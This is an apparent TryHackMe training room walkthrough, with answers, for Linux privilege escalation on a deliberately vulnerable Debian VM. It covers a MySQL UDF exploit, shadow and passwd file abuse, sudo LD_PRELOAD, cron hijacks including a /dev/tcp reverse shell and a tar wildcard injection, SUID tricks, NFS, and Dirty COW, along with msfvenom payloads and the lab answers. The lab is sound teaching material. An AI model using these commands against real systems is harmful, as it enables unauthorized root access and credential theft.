Linux PrivEsc

Linux PrivEsc

Practice your Linux Privilege Escalation skills on an intentionally misconfigured Debian VM with multiple ways to get root! SSH is available.
Credentials: user:password321

[Task 1] Deploy the Vulnerable Debian VM

This room is aimed at walking you through a variety of Linux Privilege Escalation techniques. To do this, you must first deploy an intentionally vulnerable Debian VM. This VM was created by Sagi Shahar as part of his local privilege escalation workshop but has been updated by Tib3rius as part of his Linux Privilege Escalation for OSCP and Beyond! course on Udemy. Full explanations of the various techniques used in this room are available there, along with demos and tips for finding privilege escalations in Linux.

Make sure you are connected to the TryHackMe VPN or using the in-browser Kali instance before trying to access the Debian VM!

SSH should be available on port 22. You can login to the "user" account using the following command:
`ssh user@MACHINE_IP`
If you see the following message: "Are you sure you want to continue connecting (yes/no)?" type yes and press Enter.

The password for the "user" account is "password321".

The next tasks will walk you through different privilege escalation techniques. After each technique, you should have a root shell.
Remember to exit out of the shell and/or re-establish a session as the "user" account before starting the next task!

#1
Deploy the machine and login to the "user" account using SSH

No answer needed

#2
Run the "id" command. What is the result?

uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),-25(floppy),29(audio),30(dip),44(video),46(plugdev)

[Task 2] Service Exploits

The MySQL service is running as root and the "root" user for the service does not have a password assigned. We can use a popular exploit that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.

Change into the /home/user/tools/mysql-udf directory:

```
cd /home/user/tools/mysql-udf
```

Compile the raptor_udf2.c exploit code using the following commands:

```
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

Connect to the MySQL service as the root user with a blank password:

```
mysql -u root
```

Execute the following commands on the MySQL shell to create a User Defined Function (UDF) "do_system" using our compiled exploit:

```
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
```

Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:

```
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
```

Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

```
/tmp/rootbash -p
```

Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!

```
rm /tmp/rootbash
exit
```

#1
Read and follow along with the above

No answer needed

[Task 3] Weak File Permissions - Readable /etc/shadow

The /etc/shadow file contains user password hashes and is usually readable only by the root user.

Note that the /etc/shadow file on the VM is world-readable:
```
ls -l /etc/shadow
```

View the contents of the /etc/shadow file:
```
cat /etc/shadow
```

Each line of the file represents a user. A user's password hash (if they have one) can be found between the first and second colons (:) of each line.

Save the root user's hash to a file called hash.txt on your Kali VM and use john the ripper to crack it. You may have to unzip /usr/share/wordlists/rockyou.txt.gz first and run the command using sudo depending on your version of Kali:
```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Switch to the root user, using the cracked password:
```
su root
```

Remember to exit out of the root shell before continuing!

#1
What is the root user's password hash?

$6$Tb/-euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtV

#2
What hashing algorithm was used to produce the root user's password hash?

sha512crypt

#3
What is the root user's password?

password123

[Task 4] Weak File Permissions - Writable /etc/shadow

The /etc/shadow file contains user password hashes and is usually readable only by the root user.

Note that the /etc/shadow file on the VM is world-writable:

```
ls -l /etc/shadow
```

Generate a new password hash with a password of your choice:

```
mkpasswd -m sha-512 newpasswordhere
```

Edit the /etc/shadow file and replace the original root user's password hash with the one you just generated.

Switch to the root user, using the new password:

```
su root
```

Remember to exit out of the root shell before continuing!

#1
Read and follow along with the above

No answer needed

[Task 5] Weak File Permissions - Writable /etc/passwd

The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there.

Note that the /etc/passwd file is world-writable:

```
ls -l /etc/passwd
```

Generate a new password hash with a password of your choice:

```
openssl passwd newpasswordhere
```

Edit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user's row (replacing the "x").

Switch to the root user, using the new password:

```
su root
```

Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

Now switch to the newroot user, using the new password:

```
su newroot
```

Remember to exit out of the root shell before continuing!

#1
Run the "id" command as the newroot user. What is the result

uid=0(root) gid=0(root) groups=0(root)

[Task 6] Sudo - Shell Escape Sequences

List the programs which sudo allows your user to run:
```
sudo -l
```

Visit GTFOBins (https://gtfobins.github.io) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

Choose a program from the list and try to gain a root shell, using the instructions from GTFOBins.

For an extra challenge, try to gain a root shell using all the programs on the list!

Remember to exit out of the root shell before continuing!

#1
How many programs is "user" allowed to run via sudo?

11

#2
One program on the list doesn't have a shell escape sequence on GTFOBins. Which is it?

apache2

#3
Consider how you might use this program with sudo to gain root privileges without a shell escape sequence

No answer needed

[Task 7] Sudo - Environment Variables

Sudo can be configured to inherit certain environment variables from the user's environment.

Check which environment variables are inherited (look for the env_keep options):
```
sudo -l
```

LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

Create a shared object using the code located at /home/user/tools/sudo/preload.c:
```
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
```

Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:
```
sudo LD_PRELOAD=/tmp/preload.so program-name-here
```

A root shell should spawn. Exit out of the shell before continuing. Depending on the program you chose, you may need to exit out of this as well.

Run ldd against the apache2 program file to see which shared libraries are used by the program:
```
ldd /usr/sbin/apache2
```

Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
```
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
```

Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):
```
sudo LD_LIBRARY_PATH=/tmp apache2
```

A root shell should spawn. Exit out of the shell. Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.
Remember to exit out of the root shell before continuing!

#1
Read and follow along with the above

No answer needed

[Task 8] Cron Jobs - File Permissions

Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.

View the contents of the system-wide crontab:

```
cat /etc/crontab
```

There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/-compress.sh.

Locate the full path of the overwrite.sh file:

```
locate overwrite.sh
```

Note that the file is world-writable:

```
ls -l /usr/local/bin/overwrite.sh
```

Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
```

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

```
nc -nvlp 4444
```

Remember to exit out of the root shell and remove the reverse shell code before continuing!

#1
Read and follow along with the above

No answer needed

[Task 9] Cron Jobs - PATH Environment Variable

View the contents of the system-wide crontab:
```
cat /etc/crontab
```

Note that the PATH variable starts with /home/user which is our user's home directory.
Create a file called overwrite.sh in your home directory with the following contents:
```
#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
```

Make sure that the file is executable:
```
chmod +x /home/user/overwrite.sh
```

Wait for the cron job to run (should not take longer than a minute). Run the /tmp/rootbash command with -p to gain a shell running with root privileges:
```
/tmp/rootbash -p
```

Remember to remove the modified code, remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!

```
rm /tmp/rootbash
exit
```

#1
What is the value of the PATH variable in /etc/crontab?

/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

[Task 10] Cron Jobs - Wildcards

View the contents of the other cron job script:

```
cat /usr/local/bin/compress.sh
```

Note that the tar command is being run with a wildcard (*) in your home directory.

Take a look at the GTFOBins page for tar. Note that tar has command line options that let you run other commands as part of a checkpoint feature.

Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
```

Transfer the shell.elf file to /home/user/ on the Debian VM (you can use scp or host the file on a webserver on your Kali box and use wget). Make sure the file is executable:

```
chmod +x /home/user/shell.elf
```

Create these two files in /home/user:

```
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
```

When the tar command in the cron job runs, the wildcard (*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

```
nc -nvlp 4444
```

Remember to exit out of the root shell and delete all the files you created to prevent the cron job from executing again:

```
rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf
```

#1
Read and follow along with the above

No answer needed

[Task 11] SUID / SGID Executables - Known Exploits

Find all the SUID/SGID executables on the Debian VM:
```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
```

Note that /usr/sbin/exim-4.84-3 appears in the results. Try to find a known exploit for this version of exim. Exploit-DB, Google, and GitHub are good places to search!

A local privilege escalation exploit matching this version of exim exactly should be available. A copy can be found on the Debian VM at /home/user/tools/suid/exim/cve-2016-1531.sh.

Run the exploit script to gain a root shell:
```
/home/user/tools/suid/exim/cve-2016-1531.sh
```

Remember to exit out of the root shell before continuing!

#1
Read and follow along with the above

No answer needed

[Task 12] SUID / SGID Executables - Shared Object Injection

The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:
```
/usr/local/bin/suid-so
```

Run strace on the file and search the output for open/access calls and for "no such file" errors:
```
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
```

Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found.

Create the .config directory for the libcalc.so file:
```
mkdir /home/user/.config
```

Example shared object code can be found at /home/user/tools/suid/libcalc.c. It simply spawns a Bash shell. Compile the code into a shared object at the location the suid-so executable was looking for it:
```
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
```

Execute the suid-so executable again, and note that this time, instead of a progress bar, we get a root shell.
```
/usr/local/bin/suid-so
```

Remember to exit out of the root shell before continuing!

#1
Read and follow along with the above

No answer needed

[Task 13] SUID / SGID Executables - Environment Variables

The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

First, execute the file and note that it seems to be trying to start the apache2 webserver:
```
/usr/local/bin/suid-env
```

Run strings on the file to look for strings of printable characters:
```
strings /usr/local/bin/suid-env
```

One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

Compile the code located at /home/user/tools/suid/service.c into an executable called service. This code simply spawns a Bash shell:
```
gcc -o service /home/user/tools/suid/service.c
```

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:
```
PATH=.:$PATH /usr/local/bin/suid-env
```

Remember to exit out of the root shell before continuing!

#1
Read and follow along with the above

No answer needed

[Task 14] SUID / SGID Executables - Abusing Shell Features (#1)

The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

Verify this with strings:

```
strings /usr/local/bin/suid-env2
```

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

Verify the version of Bash installed on the Debian VM is less than 4.2-048:

```
/bin/bash --version
```

Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:

```
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
```

Run the suid-env2 executable to gain a root shell:

```
/usr/local/bin/suid-env2
```

Remember to exit out of the root shell before continuing!

#1
Read and follow along with the above

No answer needed

[Task 15] SUID / SGID Executables - Abusing Shell Features (#2)

Note: This will not work on Bash versions 4.4 and above.

When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

```
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
```

Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

```
/tmp/rootbash -p
```

Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!

```
rm /tmp/rootbash
exit
```

#1
Read and follow along with the above

No answer needed

[Task 16] Passwords & Keys - History Files

If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

View the contents of all the hidden history files in the user's home directory:

```
cat ~/.*history | less
```

Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!

Switch to the root user, using the password:

```
su root
```

Remember to exit out of the root shell before continuing!

#1
What is the full mysql command the user executed?

mysql -h somehost.local -uroot -ppassword123

[Task 17] Passwords & Keys - Config Files

Config files often contain passwords in plaintext or other reversible formats.

List the contents of the user's home directory:
```
ls /home/user
```

Note the presence of a myvpn.ovpn config file. View the contents of the file:
```
cat /home/user/myvpn.ovpn
```

The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:
```
su root
```

Remember to exit out of the root shell before continuing!

#1
What file did you find the root user's credentials in?

/etc/openvpn/auth.txt

[Task 18] Passwords & Keys - SSH Keys

Sometimes users make backups of important files but fail to secure them with the correct permissions.

Look for hidden files & directories in the system root:
```
ls -la /
```

Note that there appears to be a hidden directory called .ssh. View the contents of the directory:
```
ls -l /.ssh
```

Note that there is a world-readable file called root_key. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.

Copy the key over to your Kali box (it's easier to just view the contents of the root_key file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:
```
chmod 600 root_key
```

Use the key to login to the Debian VM as the root account (change the IP accordingly):
```
ssh -i root_key root@10.10.10.10
```

Remember to exit out of the root shell before continuing!

#1
Read and follow along with the above

No answer needed

[Task 19] NFS

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Check the NFS share configuration on the Debian VM:

```
cat /etc/exports
```

Note that the /tmp share has root squashing disabled.

On your Kali box, switch to your root user if you are not already running as root:

```
sudo su
```

Using Kali's root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly):

```
mkdir /tmp/nfs
mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs
```

Still using Kali's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash):

```
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
```

Still using Kali's root user, make the file executable and set the SUID permission:

```
chmod +xs /tmp/nfs/shell.elf
```

Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:

```
/tmp/shell.elf
```

Remember to exit out of the root shell before continuing!

#1
What is the name of the option that disables root squashing?

no_root_squash

[Task 20] Kernel Exploits

Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.
Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system:

```
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
```

The popular Linux kernel exploit "Dirty COW" should be listed. Exploit code for Dirty COW can be found at /home/user/tools/kernel-exploits/dirtycow/c0w.c. It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).

Compile the code and run it (note that it may take several minutes to complete):

```
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
./c0w
```

Once the exploit completes, run /usr/bin/passwd to gain a root shell:

```
/usr/bin/passwd
```

Remember to restore the original /usr/bin/passwd file and exit the root shell before continuing!

```
mv /tmp/bak /usr/bin/passwd

exit
```

#1
Read and follow along with the above

No answer needed

[Task 21] Privilege Escalation Scripts

Several tools have been written which help find potential privilege escalations on Linux. Three of these tools have been included on the Debian VM in the following directory: /home/user/tools/privesc-scripts

#1
Experiment with all three tools, running them with different options. Do all of them identify the techniques used in this room?

No answer needed